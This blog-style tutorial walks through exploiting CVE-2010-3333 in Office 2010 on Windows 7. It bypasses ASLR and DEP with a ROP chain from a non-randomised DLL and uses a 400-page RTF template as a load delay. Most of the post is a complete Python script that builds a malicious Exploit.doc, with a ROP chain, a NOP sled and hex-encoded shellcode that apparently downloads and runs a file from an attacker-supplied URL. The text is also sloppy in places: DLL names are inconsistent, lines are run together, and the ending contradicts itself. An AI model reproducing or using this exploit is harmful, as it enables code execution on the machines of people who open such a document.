In this post, I am going to discuss a new technique that I used to bypass ASLR on windows 7 for office 2010. By the end of this post you will be able to recognize how to run an exploit on windows 7 for office 2010.



For the sake of simplicity, I have again selected the CVE 2010-3333. In my last post, I discussed the entire concept about exploit for Windows XP; here, I will be discussing it for windows 7. One subtle difference between XP and windows 7 that is in XP there is no any concept of ASLR, while in windows 7 ASLR is a new concept. That’s why successfully using the exploit in windows 7 is quite complex compared to that of XP. One point to note is that if an application equipped with both ASLR and DEP together, it becomes quit difficult to bypass it, though but not impossible. Now I am going to discuss a bit more about ASLR/DEP.



Address Space Layout Randomisation (ASLR) is a technology used to help prevent shellcode from being successful. It does this by randomly offsetting the location of modules and certain in-memory structures. Data Execution Prevention (DEP) prevents certain memory sectors (e.g. the stack) from being executed. When combined, it becomes exceedingly difficult to exploit vulnerabilities in applications using shellcode or return-oriented programming (ROP) techniques.

In the last post I already mentionedthe process of how to bypass DEP using Return oriented programming. So now I am not going to discuss how to make the ROP chain in detail, but rather I will directly move to the point to make our exploit successful on windows 7 office 2010. So as we know that on windows 7, all modules are ASLR (Address Space Layout Randomisation) enabled, so I have to carefully choose the module which are not ASLR enabled, and from that module we will make the ROP chain to bypass DEP.

So it’s clear now that we have to make an ROP chain from the same dll that is msgr3en.dll in order to bypass DEP.

Now here is where the magic begins; msgr3en.dll gets loaded after a long interval of time and it means that our exploit will not work; our exploit will work only if we open our exploit from file->open

But we don’t want that our exploit will work through file → open. We want our exploit to work by double clicking.The main problem with msgren.dll is that this dll is loaded after long interval of time. So we have to make this exploit in such a way that our shellcode/ROP should get executed once the msgreen.dll file get loaded. In order to achieve that, I have used a technique that I have embedded 400 line of page to make a delay so that msgreen.dll can get loaded before the execution of our ROP and shellcode. Once all the 400 pages get loaded, msgreen.dll will get loaded automatically, after our shellcode get executed. The rest are the same: that is, the ROP chain etc that I used from msgreen.dll .



Now one question we have is how to load four hundred pages? Well, first look at the following code, our exploit/payload has been started with a variable called tmpl. This is the magic that are supposed to use all 400 pages.

fo = open(“template”, “rb”)

tmpl = fo.read();

fo.close()

herefo=open(“template”, “rb”)

This function has been used to open a template file that function is to load 400 pages and while opening this page or after 400 pages get loaded,msgreen.dll will get loaded, and once the msgreen.dll gets loaded our all code that is ropchain,shellcode, etc.. will executed and exploit will get done.

Here’s how to make the template for 400 pages. It’s nothing more than just opening MSoffice, press enter 400 times (to make 400 pages), save it as rtf file and it’s all done.

<399 pages created >

Then save it as a template. Now this is the file that gets loaded to make the delay to load msgreen.dll. After this template, I have used the header (as in following code) that contains the actual vulnerable function and parameters for the pFragment section.

payload = tmpl + header + Main + req + control + rop + VirtualProtect + param1 + param2 + call + nops + shellcode + end

So now I hope it’s clear and visible to you that it’s the value of all variables that makes parts of payload above. I can include all hex values of the template in the same page where the exploit exists, but it become lengthy. I still am giving you the image of the hex value.

Here is the complete code for the exploit…

#!/usr/bin/python importstruct importbinascii header = ("\x7B\x5C\x73\x68\x70\x7B\x5C\x73\x70\x7D\x7D" "\x7B\x5C\x73\x68\x70\x7B\x5C\x73\x70\x7D\x7D\x7B\x5C\x73\x68\x70\x7B" "\x5C\x73\x70\x7D\x7D\x7B\x5C\x23\x73\x68\x70\x7B\x5C\x2A\x5C\x73\x68" "\x70\x69\x6E\x73\x74\x5C\x73\x68\x70\x66\x68\x64\x72\x30\x5C\x23\x73" "\x68\x70\x62\x78\x63\x6F\x6C\x75\x6D\x6E\x5C\x73\x68\x70\x62\x79\x70" "\x61\x72\x61\x5C\x73\x68\x20\x70\x77\x72\x32\x7D\x7B\x5C\x73\x70\x7B" "\x7B\x5C\x73\x6E\x20\x7B\x7D\x7B\x7D\x7B\x5C\x73\x6E\x7D\x7B\x5C\x73" "\x6E\x7D\x7B\x7B\x5C\x2A\x5C\x2A\x7D\x7D\x70\x46\x72\x61\x67\x6D\x65" "\x6E\x74\x73\x7D\x7B\x5C\x2A\x5C\x2A\x5C\x2A\x7D\x7B\x23\x5C\x73\x76" "\x7B\x5C\x2A\x5C\x2A\x5C\x2A\x5C\x2A\x5C\x2A\x5C\x2A\x5C\x2A\x5C\x2A" "\x5C\x2A\x5C\x2A\x5C\x2A\x5C\x2A\x5C\x2A\x5C\x2A\x5C\x2A\x5C\x2A\x5C" "\x2A\x5C\x2A\x5C\x2A\x5C\x2A\x5C\x2A\x5C\x2A\x5C\x2A\x5C\x2A\x5C\x2A" "\x5C\x2A\x7D\x39\x3B\x32\x3B\x66\x66\x66\x66\x66\x66\x66\x66\x66\x66" "\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23" "\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23" "\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23" "\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23" "\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23" "\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23" "\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23" "\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23" "\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23" "\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23" "\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23" "\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23" "\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23" "\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23" "\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23" "\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23" "\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23" "\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23" "\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23" "\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23" "\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23" "\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23" "\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23" "\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23" "\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23" "\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23" "\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23" "\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23" "\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23" "\x23\x23\x23\x23\x23\x23\x23\x23\x30\x35\x30\x30\x30\x30\x41\x30\x30" "\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30" "\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30") #Main Control Main = "1780203f" # 0x3F208016 : # RETN [Module : MSGR3EN.DLL] ** req = ("\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31" # 00000060 "\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31" # 00000070 "\x31\x31\x31\x31\x30\x30\x30\x30\x30\x30\x30\x30") control = "1780203f" # 0x3F208016 : # RETN [Module : MSGR3EN.DLL] ** control += "1780203f" # 0x3F208016 : # RETN [Module : MSGR3EN.DLL] ** control += "1780203f" # 0x3F208016 : # RETN [Module : MSGR3EN.DLL] ** control += "1780203f" # 0x3F208016 : # RETN [Module : MSGR3EN.DLL] ** control += "1780203f" # 0x3F208016 : # RETN [Module : MSGR3EN.DLL] ** #-----------------------put Stack Pointer in EAX & EDI --------------------------# rop = "8546393f" # 0x3F394685 : {POP} # PUSH ESP # XOR EAX,EAX # POP EDI # POP ESI # RETN [Module : MSGR3EN.DLL] ** rop += "41414141" # Padding for POP ESI rop += "28fc393f" # 0x3F39FC28 : # MOV EAX,EDI # POP ESI # RETN [Module : MSGR3EN.DLL] ** rop += "41414141" # Padding for POP ESI rop += "a013353f" # 0x3F3513A0 : 20 : # ADD ESP,20 # RETN 4 - MSGR3EN.DLL - ** rop += "41414141" * 2 # Padding for JUMP #-------------------Parameters for VirtualProtect() ----------------------------# VirtualProtect = "825a203f" # 0x3f205a82 : # JMP ECX | Call VirtualProtect() VirtualProtect += "41414141" # Return Address VirtualProtect += "42424242" # lpAdress VirtualProtect += "dc050000" # Size 1500 VirtualProtect += "40000000" # flNewProtect VirtualProtect += "10133b3f" # Writeable Address 3F3B1310 #-------------------- Setting 1st Parameter --------------------------------------# param1 = "bff62e3f" # 0x3F2EF6BF : # XCHG EAX,EDX # RETN [Module : MSGR3EN.DLL] ** param1 += "41414141" # Padding for ADD ESP,20 # RETN 4 param1 += "8c58343f" # 0x3F34588C : # MOV EAX,EDX # RETN [Module : MSGR3EN.DLL] ** param1 += "ef94303f" # 0x3F3094EF : # XCHG EAX,ESI # RETN [Module : MSGR3EN.DLL] ** param1 += "8c58343f" # 0x3F34588C : # MOV EAX,EDX # RETN [Module : MSGR3EN.DLL] ** param1 += "f782393f" # 0x3F3982F7 : # ADD EAX,100 # POP EBP # RETN [Module : MSGR3EN.DLL] ** param1 += "41414141" # Padding for POP EBP param1 += "e982393f" # 0x3F3982E9 : # ADD EAX,40 # POP EBP # RETN [Module : MSGR3EN.DLL] ** param1 += "41414141" # Padding for POP EBP param1 += "8aa02c3f" # 0x3F2CA08A : # INC ESI # RETN [Module : MSGR3EN.DLL] ** param1 += "8aa02c3f" # 0x3F2CA08A : # INC ESI # RETN [Module : MSGR3EN.DLL] ** param1 += "8aa02c3f" # 0x3F2CA08A : # INC ESI # RETN [Module : MSGR3EN.DLL] ** param1 += "8aa02c3f" # 0x3F2CA08A : # INC ESI # RETN [Module : MSGR3EN.DLL] ** param1 += "1197363f" # 0x3F369711 : {POP} # MOV DWORD PTR DS:[ESI+18],EAX # POP EDI # POP ESI # RETN 4 [Module : MSGR3EN.DLL] ** param1 += "41414141" # Padding for POP EDI param1 += "41414141" # Padding for POP ESI #-------------------- Setting 2nd Parameter --------------------------------------# param2 = "8c58343f" # 0x3F34588C : # MOV EAX,EDX # RETN [Module : MSGR3EN.DLL] ** param2 += "41414141" # Padding for RETN 4 param2 += "ef94303f" # 0x3F3094EF : # XCHG EAX,ESI # RETN [Module : MSGR3EN.DLL] ** param2 += "8c58343f" # 0x3F34588C : # MOV EAX,EDX # RETN [Module : MSGR3EN.DLL] ** param2 += "f782393f" # 0x3F3982F7 : # ADD EAX,100 # POP EBP # RETN [Module : MSGR3EN.DLL] ** param2 += "41414141" # Padding for POP EBP param2 += "e982393f" # 0x3F3982E9 : # ADD EAX,40 # POP EBP # RETN [Module : MSGR3EN.DLL] ** param2 += "41414141" # Padding for POP EBP param2 += "8aa02c3f" # 0x3F2CA08A : # INC ESI # RETN [Module : MSGR3EN.DLL] ** param2 += "8aa02c3f" # 0x3F2CA08A : # INC ESI # RETN [Module : MSGR3EN.DLL] ** param2 += "8aa02c3f" # 0x3F2CA08A : # INC ESI # RETN [Module : MSGR3EN.DLL] ** param2 += "8aa02c3f" # 0x3F2CA08A : # INC ESI # RETN [Module : MSGR3EN.DLL] ** param2 += "8aa02c3f" # 0x3F2CA08A : # INC ESI # RETN [Module : MSGR3EN.DLL] ** param2 += "8aa02c3f" # 0x3F2CA08A : # INC ESI # RETN [Module : MSGR3EN.DLL] ** param2 += "8aa02c3f" # 0x3F2CA08A : # INC ESI # RETN [Module : MSGR3EN.DLL] ** param2 += "8aa02c3f" # 0x3F2CA08A : # INC ESI # RETN [Module : MSGR3EN.DLL] ** param2 += "1197363f" # 0x3F369711 : {POP} # MOV DWORD PTR DS:[ESI+18],EAX # POP EDI # POP ESI # RETN 4 [Module : MSGR3EN.DLL] ** param2 += "41414141" # Padding for POP EDI param2 += "41414141" # Padding for POP ESI #------------------------- Fetch & Call VirtualProtect() address ----------------------# call = "8c58343f" # 0x3F34588C : # MOV EAX,EDX # RETN [Module : MSGR3EN.DLL] ** call += "41414141" # Padding for RET 4 call += "4ced2f3f" # 0x3f2fed4c : # POP EAX # RETN ** [MSGR3EN.DLL] call += "0811103f" # PTR to VirtualProtect() call += "5e742b3f" # 0x3f2b745e : # MOV ECX,DWORD PTR DS:[EAX] # RETN ** [MSGR3EN.DLL] call += "8c58343f" # 0x3F34588C : # MOV EAX,EDX # RETN [Module : MSGR3EN.DLL] ** call += "30d7393f" # ADD EAX,8 # RETN [Module : MSGR3EN.DLL] ** call += "30d7393f" # ADD EAX,8 # RETN [Module : MSGR3EN.DLL] ** call += "30d7393f" # ADD EAX,8 # RETN [Module : MSGR3EN.DLL] ** call += "08da2f3f" # 0x3F2FDA08 : # XCHG EAX,ESP # RETN [Module : MSGR3EN.DLL] ** nops = "90" * 180 magic = ( "\x65\x62\x37\x31\x33\x31\x63\x39\x36\x34\x38\x62\x37\x31\x33\x30\x38" "\x62\x37\x36\x30\x63\x38\x62\x37\x36\x31\x63\x38\x62\x35\x65\x30\x38" "\x38\x62\x37\x65\x32\x30\x38\x62\x33\x36\x36\x36\x33\x39\x34\x66\x31" "\x38\x37\x35\x66\x32\x63\x33\x36\x30\x38\x62\x36\x63\x32\x34\x32\x34" "\x38\x62\x34\x35\x33\x63\x38\x62\x35\x34\x32\x38\x37\x38\x30\x31\x65" "\x61\x38\x62\x34\x61\x31\x38\x38\x62\x35\x61\x32\x30\x30\x31\x65\x62" "\x65\x33\x33\x34\x34\x39\x38\x62\x33\x34\x38\x62\x30\x31\x65\x65\x33" "\x31\x66\x66\x33\x31\x63\x30\x66\x63\x61\x63\x38\x34\x63\x30\x37\x34" "\x30\x37\x63\x31\x63\x66\x30\x64\x30\x31\x63\x37\x65\x62\x66\x34\x33" "\x62\x37\x63\x32\x34\x32\x38\x37\x35\x65\x31\x38\x62\x35\x61\x32\x34" "\x30\x31\x65\x62\x36\x36\x38\x62\x30\x63\x34\x62\x38\x62\x35\x61\x31" "\x63\x30\x31\x65\x62\x38\x62\x30\x34\x38\x62\x30\x31\x65\x38\x38\x39" "\x34\x34\x32\x34\x31\x63\x36\x31\x63\x33\x65\x38\x39\x32\x66\x66\x66" "\x66\x66\x66\x35\x64\x65\x62\x30\x35\x65\x38\x66\x33\x66\x66\x66\x66" "\x66\x66\x38\x39\x65\x66\x38\x33\x65\x66\x38\x39\x38\x39\x65\x65\x38" "\x33\x65\x65\x39\x35\x38\x31\x65\x64\x34\x35\x66\x66\x66\x66\x66\x66" "\x36\x38\x33\x33\x63\x61\x38\x61\x35\x62\x35\x33\x65\x38\x38\x61\x66" "\x66\x66\x66\x66\x66\x35\x35\x36\x61\x36\x34\x66\x66\x64\x30\x35\x37" "\x38\x39\x63\x37\x30\x31\x65\x66\x61\x34\x38\x30\x37\x66\x66\x66\x30" "\x30\x37\x35\x66\x39\x35\x66\x36\x38\x38\x65\x34\x65\x30\x65\x65\x63" "\x35\x33\x65\x38\x36\x64\x66\x66\x66\x66\x66\x66\x33\x31\x63\x39\x36" "\x36\x62\x39\x36\x66\x36\x65\x35\x31\x36\x38\x37\x35\x37\x32\x36\x63" "\x36\x64\x35\x34\x66\x66\x64\x30\x36\x38\x33\x36\x31\x61\x32\x66\x37" "\x30\x35\x30\x65\x38\x35\x33\x66\x66\x66\x66\x66\x66\x33\x31\x63\x39" "\x35\x31\x35\x31\x35\x35\x35\x37\x35\x31\x66\x66\x64\x30\x36\x38\x39" "\x38\x66\x65\x38\x61\x30\x65\x35\x33\x65\x38\x33\x66\x66\x66\x66\x66" "\x66\x66\x34\x31\x35\x31\x35\x35\x66\x66\x64\x30\x37\x33\x37\x36\x36" "\x33\x36\x38\x36\x66\x37\x33\x37\x34\x32\x65\x36\x35\x37\x38\x36\x35" "\x30\x30" ) URL = "write url here" binnu = binascii.b2a_hex(URL) URL2 = "00" shellcode = magic + binnu + URL2 end = ("\x7B\x7D\x7D\x7D\x7D\x7D\x7D\x2E\x2E\x2E\x7D\x7D") fo = open("template", "rb") tmpl = fo.read(); fo.close() #################################### payload = tmpl + header + Main + req + control + rop + VirtualProtect + param1 + param2 + call + nops + shellcode + end ############################################# file = open("Exploit.doc",'wb') file.write(payload) file.close

Here, all the variables in the payload are quite clear and self-understood. I was talking about tmpl variable in the payload – the tmpl is just a rtf file having 400 pages, so the pages get loaded first and then the rest of the code gets executed. Let’s generate the sample and execute the code…

The exploit code has been executed. Look closely at the status bar above and you’ll see the message page 1 of 399.This is the great, because it shows the 399 pages get loaded by just of that tmpl variable.

Here is the content of tmpl. I am not going to publish the content of tmpl. You think and decide what should be the content of tmpl.

Here is the content of tmpl that I have used to bypass msgreen.dll.